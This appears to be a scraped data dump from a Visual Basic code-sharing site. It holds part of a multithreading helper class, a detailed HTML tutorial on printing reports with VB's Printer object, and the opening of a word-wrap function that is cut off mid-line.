Function\nFriend Property Get ThreadDonePointer() As Long\n ThreadDonePointer = VarPtr(m_ThreadDone)\nEnd Property\nFriend Property Let ThreadSignalPointer(ByVal RHS As Long)\n m_ThreadSignal = RHS\nEnd Property\nFriend Property Let ThreadHandle(ByVal RHS As Long)\n 'This takes over ownership of the ThreadHandle\n m_ThreadHandle = RHS\nEnd Property\nFriend Sub SignalThread(ByVal pCritSect As Long, ByRef fInCriticalSection As Boolean)\n 'm_ThreadDone and m_ThreadSignal must be checked/modified inside\n 'a critical section because m_ThreadDone could change on some\n 'threads while we are signalling, causing m_ThreadSignal to point\n 'to invalid memory, as well as other problems. The parameters to this\n 'function are provided to ensure that the critical section is entered\n 'only when necessary. If fInCriticalSection is set, then the caller\n 'must call LeaveCriticalSection on pCritSect. This is left up to the\n 'caller since this function is designed to be called on multiple instances\n 'in a tight loop. There is no point in repeatedly entering/leaving the\n 'critical section.\n If m_ThreadSignal Then\n If Not fInCriticalSection Then\n EnterCriticalSection pCritSect\n fInCriticalSection = True\n End If\n If m_ThreadDone = 0 Then\n InterlockedIncrement m_ThreadSignal\n End If\n 'No point in signalling twice\n m_ThreadSignal = 0\n End If\nEnd Sub\nFriend Property Set Controller(ByVal RHS As ThreadControl)\n Set m_Controller = RHS\nEnd Property\nFriend Sub SetData(Data As Variant, ByVal fStealData As Boolean)\n If IsEmpty(Data) Or IsMissing(Data) Then Exit Sub\n If fStealData Then\n CopyMemory ByVal VarPtr(m_Data), ByVal VarPtr(Data), 16\n CopyMemory ByVal VarPtr(Data), 0, 2\n ElseIf IsObject(Data) Then\n Set m_Data = Data\n Else\n m_Data = Data\n End If\nEnd Sub\nFriend Sub GetData(Data As Variant)\n 'This is called only once. Always steal.\n 'Before stealing, make sure there's\n 'nothing lurking in Data\n Data = Empty\n CopyMemory ByVal VarPtr(Data), ByVal VarPtr(m_Data), 16\n CopyMemory ByVal VarPtr(m_Data), 0, 2\nEnd Sub\nPrivate Sub Class_Terminate()\n 'This shouldn't happen, but just in case\n If m_ThreadHandle Then CloseHandle m_ThreadHandle\nEnd Sub\n</pre></td>\n </tr>\n</table>\nThe type library (ThreadAPI) used to call CreateThread safely is in the zip. "},{"WorldId":1,"id":27674,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30054,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28959,"LineNumber":1,"line":"<table width=\"100%\" border=0><tr><td>\n<div align=\"right\">by, \n Gajendra S. Dhir \n Team Leader \n Data Spec \n Bilaspur-CG, INDIA</div>\n \nAll programmers creating software solutions for their client, invariably have to process data and generate output on paper, using the printer, in the form of reports. There are many third party tools available in the market which are \n instrucmental in generating beautifully crafted reports. \nI, too, have used such report writers, until recently, for my even my most \n simple printing requirements. That is until I discovered the power of the <code>printer</code> \n object. \nMost literature on Visual Basic, including books and articles, generally explore \n this <code>printer</code> object superficially and this, I believe is, why most \n of us tend to overlook this simple yet powerful printing tool.\nThe focus of my article is to demystify the <code>printer</code> object and \n present it as a magnificient object, which can be used to churn out dashing \n printouts without the support of any third party reporting tool. For detailed \n syntaxes of the objects, statements, commands, properties and methods used here \n you are requested to refer to the excellent documentation provided by Microsoft.\nThe sub-topics covered in the article include...\n<ul>\n <li><a href=\"#selectprinter\">Select Printer</a> </li>\n <li><a href=\"#pagesize\">Set the Page dimensions</a></li>\n <li><a href=\"#newpage\">Change to a new page</a></li>\n <li><a href=\"#enddoc\">End of a Print Job</a></li>\n <li><a href=\"#killdoc\">Cancel the Print Job</a></li>\n <li><a href=\"#headpos\">Position the head</a></li>\n <li><a href=\"#printtext\">Print the text</a></li>\n <li><a href=\"#justified\">Justification - Left, Right, Center</a></li>\n <li><a href=\"#fontstyle\">Font - Name, Size and Style</a></li>\n <li><a href=\"#printcolor\">Print in Color</a></li>\n <li><a href=\"#directions\">Points for Consideration</a></li>\n</ul>\n<h3></h3>\n<h2><a name=\"selectprinter\"></a>Select the printer </h2>\nWindows operating system allows you to install more than one printer. One of \n these is marked as the default printer and is offered as choice for printing \n by the applications. \nVB provides us with the <code>Printers</code> collection and the <code>Printer</code> \n object to take care of our printing requirements.\nThe <code>printers</code> collection contains a list of the printers installed \n on your system. <code>Printers.Count</code> specifies the number of printers \n installed and any printer can be selected as <code>Printers(i)</code>, where \n <code>i</code> is a number between <code>0</code> and <code>Printer.Count-1</code>.\nTo get a list of all the printers installed we could use a code snipet, like \n this...\n<code>For i = 1 to Printers.Count - 1 \n Printer.Print Printers(i).Name \n Next i \n Printer.EndDoc</code>\nor \n<code>For Each P in Printers \n Printer.Print P.Name \n Next P \n Printer.EndDoc</code>\nThe <code>Printer</code> object represents the printer which has been marked \n as the default printer in the Windows environment.\nThe entire discussion here uses the <code>printer</code> object and can \n easily be modified to use the <code>Printers(i)</code> object.\n<h2><a name=\"pagesize\"></a>Setup Page Dimensions</h2>\nThe next thing that you must do is setup the dimensions of the paper on which \n you will be printing. Windows has 41 predefined paper sizes based on the standard \n paper sizes available around the world. Other than these if the size of the \n paper does not match any of these pre-defined sizes you may set it the custom \n size and specify your own height and width for the paper. The properties used \n here are <code>Printer.PaperSize</code>, <code>Printer.Height</code> and <code>Printer.Width</code>.\n The more commonly used paper sizes are... \n<code> Printer.PaperSize = vbPRPSLetter </code>\n or \n<code> Printer.PaperSize = vbPRPSA4</code>\nPlease refer to the Microsoft documentation for a complete list of paper size \n constants.\nTo use a custom size paper your code will look something like...\n<code> Printer.Height = 10 * 1440 ' \n 10 inch height x 1440 twips per inch \n Printer.Width = 5 * 1440 ' 5 \n inch height x 1440 twips per inch</code>\nAny attempt to alter the height or the width of the <code>printer</code> object, \n automatically changes the <code>Printer.PaperSize</code> to <code>vbPRPSUser</code>. \n\nWhile you are at it, you may also want to setup the orientation of the paper. \n\n<code> Printer.Orientation = vbPRORPortrait \n </code> or \n <code> Printer.Orientation = vbPRORLandscape</code>\nAny time during the print session you want to check the dimensions of the paper \n size you can refer to the <code>height</code> and <code>width</code> properties \n for the <code>printer</code> object.\nWhile printing a page a typical use for the height is to compare the paper \n length with current position of the printer head and determine whether the next \n line can be printed on the same page or you should request for a new page.\nNote: Depending upon the printer driver installed for the printer \n it may or may not report an error is any of the printer properties is set beyond \n the acceptable range.\n\n<h2><a name=\"newpage\"></a>Change to a new page</h2>\nPrinting to the <code>printer</code> is done in page mode, i.e. the <code>printer</code> \n object sends data for printing to the operating system only after it is informed \n that the current page formatting is complete and is ready for printing. \nIn VB, this is accomplished by invoking the <code>NewPage</code> method like \n this... \n<code>Printer.NewPage</code>\nThis method instructs the <code>printer</code> object to end the current page \n and advance to the next page. \n<h2><a name=\"enddoc\"></a>End of Print Job</h2>\n When you have completed printing all the text and graphics that required to \n be printed in this print job the <code>printer</code> object must be so informed. \n You can do so using the <code>EndDoc</code> method.\n<code>Printer.EndDoc</code>\nThis terminates a print operation and releases the document to the printer. \n If something has been printed on the current page it automatically issues a \n <code>Printer.NewPage</code> to complete printing of the page. If a <code>Printer.NewPage</code> \n has been issued just before the <code>Printer.EndDoc</code> method, no blank \n page is printed.\n<h2><a name=\"killdoc\"></a>Cancel the Print Job</h2>\nThere will be occasions when you may want to abort the print session. This \n may be in response to a cancel request from the user or any such situation requiring \n you to do so.\nFor such times we have been provided with the <code>KillDoc</code> method.\n<code>Printer.KillDoc</code>\nThe difference of the <code>KillDoc</code> and the <code>EndDoc</code> methods \n is more apparent when the operating system's Print Manager is handling the print \n jobs. If the operating system's Print Manager is handling the print job <code>KillDoc</code> \n deletes the current print job and the printer receives nothing.\nIf Print Manager isn't handling the print job, some or all of the data may \n be sent to the printer before <code>KillDoc</code> can take effect. In this \n case, the printer driver resets the printer when possible and terminates the \n print job.\n\n<h2><a name=\"headpos\"></a>Position the Head</h2>\nWe can get or set the position using the two properties, <code>Printer.CurrentX</code> \n and <code>Printer.CurrentY</code>. As obvious by their names the return the \n position on the X and Y axes respectively.\n<code>Label1.Caption = \"(\" & Printer.CurrentX & \", \" & Printer.CurrentY & \")\"</code> \n\nAlternately, you may use these very functions to position the printer head \n as per your requirement.\n<code>Printer.CurrentX = 1440 \n Printer.CurrentY = 1440</code>\nRemember 1 inch = 1440 twips. so this previous code snipet should position \n the printer head 1 inch from each the top and left margins. Similarly this next \n code snipet here will position the printer head at the center of the page (half \n of width and height).\n<code>Printer.CurrentX = Printer.Width / 2 \n Printer.CurrentY = Printer.Height / 2</code>\nEvery print instruction issued to place text or graphic on the page moves the \n <code>CurrentX</code> and <code>CurrentY</code> and should be considered and, \n if necessary, taken care of before issuing the next print instruction.\n<h2><a name=\"printtext\"></a>Print out the text</h2>\nTo print use... \n \n <code>Printer.Print \"Text to Print\"</code> \n \n Printing starts at the location marked by the <code>CurrentX</code> and <code>CurrentY</code>. \n \n After the text as been printed the values of the <code>CurrentX</code> and <code>CurrentY</code> \n are changed to the new location. The new location is different when a , (comma) \n or a ; (semi-colon) is added at the end of the <code>Print</code> statement. \n Run the following code and compare the results...\nCode 1 \n<code>Printer.CurrentX = 0 \n Printer.CurrentY = 0 \n For i = 1 to 5 \n Printer.Print Printer.CurrentX & ", " & \n Printer.CurrentY \n Next i</code>\nCode 2 \n<code>Printer.CurrentX = 0 \n Printer.CurrentY = 0 \n For i = 1 to 5 \n Printer.Print Printer.CurrentX & ", " & \n Printer.CurrentY; \n Next i</code>\nnotice the ; (semi-colon) at the end of the print statement. \nand Code 3 \n<code>Printer.CurrentX = 0 \n Printer.CurrentY = 0 \n For i = 1 to 5 \n Printer.Print Printer.CurrentX & ", " & \n Printer.CurrentY, \n Next i</code>\nin this case note the , (comma) at the end of the print statement.\n<h2><a name=\"justified\"></a>Justification - Left, Right or Center</h2>\nJustification is accomplished with the help of two methods of the <code>printer</code> \n object, viz <code>Printer.TextHeight(Text)</code> and <code>Printer.TextWidth(Text)</code>, \n with which we can determine the about of vertical and horizontal space that \n will be occupied when you print the <code>Text</code>.\nSo in this example...\n<code>mTxt = \"Gajendra S. Dhir\" \n TxtWidth = Printer.TextWidth(mTxt)</code>\n<code>TxtWidth</code> is the amount of horizontal space required by the text \n in <code>mTxt</code> to print.\nLet us see print this as Left, Right and Center Justified.\n<code>'to leave 1\" Margins on the Left, Right and Top of the Printer \n Printer.CurrentX = 1440 \n MaxWidth = Printer.Width - 1440*2 \n Printer.CurrentY = 1440 \n </code>\nLeft Justified is the simplest form of justification and the head position \n is already set.\n<code>Printer.Print mTxt</code>\nThe printer head automatically moves to the starting point on the next line \n as there is no comma or semi-colon at the end of the <code>Print</code>. \nLets try right justification. We have <code>CurrentY</code> set for \n the next print statement. We need to set the <code>CurrentX</code>. Now we will \n require the <code>MaxWidth</code> and <code>TxtWidth</code> values, which we \n have ready with us (above).\n<code>' add 1440 is to maintain the 1" Left Margin. \n Printer.CurrentX = 1440 + (MaxWidth - TxtWidth) \n Printer.Print mTxt</code>\nSimilarly, you can achieve center justification \n <code>Printer.CurrentX = 1440 + (MaxWidth - TxtWidth)/2 'again \n 1440 is to maintain Left Margin. \n Printer.Print mTxt</code>\nThis is all there is to printing text.\nAh yes ... just one more thing before we proceed. The above logic assume that \n <code>TxtWidth < MaxWidth</code>. If the width of the text is greater than \n the maximum print width then you must separately process the text to either \n truncate it so that it fits the <code>MaxWidth</code> or split the lines suitably \n to simulate word-wrap.\nFor those interested, here's the entire code, \n<code> mTxt = \"Gajendra S. Dhir\" \n TxtWidth = Printer.TextWidth(mTxt) \n \n </code><code>'to leave 1\" Margins on the Top, Left and Right of the page \n Printer.CurrentY = 1440 \n Printer.CurrentX = 1440 \n MaxWidth = Printer.Width - 1440*2 \n \n 'Left Justified - no extra work \n Printer.Print mTxt \n \n 'Right Justified \n Printer.CurrentX = 1440 + (MaxWidth - TxtWidth) ' add 1440 is to \n maintain the 1" Left Margin \n Printer.Print mTxt \n \n 'Center Justified \n Printer.CurrentX = 1440 + (MaxWidth - TxtWidth)/2 'again \n 1440 is to maintain Left Margin. \n Printer.Print mTxt \n \n 'Terminate Printing \n Printer.EndDoc </code>\n<h2><a name=\"fontstyle\"></a>Font Name, Size and Style</h2>\nA wide variety of fonts, also known as typefaces, are available under the Windows \n operating system. Some are optimized for better screen appearance while others \n are designed with the printed output in mind. The printer that you use also \n has certain built-in fonts which you can access from your VB program.\nThe <code>Printer.FontCount</code> property tells you the number of fonts that \n are available in your system and are supported by current the printer. You can \n select the name of the font that you want to use for printing your text from \n the <code>Printer.Fonts</code> collection\nTo get a list of the names of the fonts available you can use a loop like this...\n<code>For i = 0 to Printer.FontCount-1 \n Printer.Print Printer.Fonts(i) \n Next i</code> \nor better still you could use the <code>Printer.Font.Name</code> property like \n this...\n<code>For i = 0 to Printer.FontCount-1 \n Printer.Font.Name = Printer.Fonts(i) \n Printer.Print Printer.Font.Name \n Next i</code> \nto get a complete list of the fonts available with each <code>Font.Name</code> \n printed using that very typeface. \nTo determine or alter the size of the text that is being printed you must access \n the <code>Printer.Font.Size</code> property. Mayby something like this...\n<code>mSize = Printer.Font.Size \n Printer.Font.Size = mSize + 4 \n Printer.Print "THE TITLE TEXT" \n Printer.Font.Size = mSize</code>\nOther than this, control for Bold, Italic, Underline and \n <s>Strikethru</s> characteristics of a font that are available at your disposal \n as a Visual Basic programmer. These are boolean properties and take the values \n <code>True</code> or <code>False</code>. You may use these properties as...\n<code> Printer.Font.Bold = True </code>to enable and <code>False</code> \n to disable \n <code> Printer.Font.Italic = True </code>to enable and <code>False</code> \n to disable \n <code> Printer.Font.Strikethrough = True </code>to enable and <code>False</code> \n to disable \n and \n <code> Printer.Font.Underline = True </code>to enable and <code>False</code> \n to disable\nThe following code will give you a printout of all the printer fonts installed \n on your system along with the "bold" and "italic" \n texts printed next to the font name.\n<code>With Printer \n For i = 0 to .FontCount-1 \n .Font.Name = Printer.Fonts(i) \n .Print Printer.Font.Name; 'Note \n the ; (semi-colon) at the end of print \n .Font.Bold = True \n .Print " Bold"; 'Note \n the ; (semi-colon) at the end of print \n .Font.Bold = False \n .Font.Italic = True \n .Print " Italic" 'Note \n no ; (semi-colon) at the end of print \n .Font.Italic = False \n If Printer.CurrentY + Printer.TextHeight("NextLine") \n > Printer.Height - 720 Then \n Printer.NewPage \n End If \n Next i \n End Width \n \n 'Terminate Printing \n Printer.EndDoc \n </code>\nWhen working with the fonts you can also use <code>.FontName</code>, <code>.FontSize</code>, \n <code>.FontBold</code>, <code>.FontItalic</code>, <code>.FontStrikeThru</code>, \n <code>.FontUnderline</code> for <code>.Font.Name</code>, <code>.Font.Size</code>, \n <code>.Font.Bold</code>, <code>.Font.Italic</code>, <code>.Font.Strikethrough</code>, \n <code>.Font.Underline</code> used above.\n<h2><a name=\"printcolor\"></a>Print in Color</h2>\nPrinting in color adds to the presentation value of the final output. Let us \n add some color to our printing. \nUse the <code>Printer.ColorMode</code> to enable or disable color printing for your color printer.\n<code>Printer.ColorMode = vbPRCMColor \n </code> or \n <code>Printer.ColorMode = vbPRCMMonochrome \n </code>\nDepending on the printer installed, when you the set the printer to vbPRCMMonochrome \n prints in shades of black and white. \nOnce you have activated color printing you can control the color of the output \n through two properties two properties, <code>backcolor</code> and <code>forecolor</code>, \n of the <code>printer</code>, to control the color of the background and the \n foreground respectively. The color values can be assigned to these properties \n using the <code>RGB()</code> function.\n<code>Printer.ForeColor = RGB(255, 0, 0) ' For \n Text in Red Color \n Printer.Print "This text is in Red "; \n Printer.ForeColor = RGB(0, 0, 255) ' For Text in \n Blue \n Printer.Print "and this is in Blue" \n Printer.BackColor = RGB(255, 255, 0) ' For Background in Yellow \n Printer.Print "The text here is Blue and the background is Yellow"</code> \n\nVisual Basic has provided color constants for the standard colors, namely <code>vbBlue</code>, \n <code>vbRed</code>, <code>vbGreen</code>, <code>vbMagenta</code>, <code>vbCyan</code>, \n <code>vbYellow</code>, <code>vbBlack</code> and <code>vbWhite</code>.\n<h2>Points for Consideration</h2>\nHere are some tips which I think you will find useful during your exploration \n of the <code>printer</code> object...\n<ul>\n <li>You will need simple sub-routines to print text - left, right and center \n justified within a maximum width that you may specify. This will allow you \n to create the columns in a tabular report and adequately justify the text \n within the column.</li>\n <li>You could write a function to split long strings based on the print width \n to enable word wrapping. See my previous code submitted titled \n Split Strings for Word Wrapping.</li>\n <li>The printer uses the same concept of device contexts that is used by Form \n and PictureBox Control. The difference is only in methods like <code>EndDoc</code>, \n <code>KillDoc</code>, <code>Cls</code> etc. Using code like... \n <code>If Destination = \"Printer\" Then \n Set objDC = Printer \n Else \n Set objDC = Picture1 \n Endif \n objDC.Print \"Hello! This is Gajendra\"</code> \n you can easily create a print preview.</li>\n</ul>\nI welcome and will appreciate constructive feedback and creative suggestions.</td></tr></table>"},{"WorldId":1,"id":28744,"LineNumber":1,"line":"Public Function SplitLines(Txt As String, P As Object, W As Single) As String()\nDim Lines() As String, CurrW As Single, CurrWord As String\nDim L As Integer, i As Integer, WCnt As Integer\nCurrW = 0\nL = Len(Txt)\nIf (P.TextWidth(Txt) > W) Or (InStr(Txt, vbCr) > 0) Then\n\ti = 1\n\tWCnt = 1\n\tReDim Lines(WCnt) As String\n\tDo Until i > L\n\t\tCurrWord = \"\"\n\t\tDo Until i > L Or Mid(Txt, i, 1) <= \" \"\n\t\t\tCurrWord = CurrWord & Mid(Txt, i, 1)\n\t\t\ti = i + 1\n\t\tLoop\n\t\tIf CurrW + P.TextWidth(CurrWord) > W Then\n\t\t\tWCnt = WCnt + 1\n\t\t\tReDim Preserve Lines(WCnt) As String\n\t\t\tCurrW = 0\n\t\tEnd If\n\t\tLi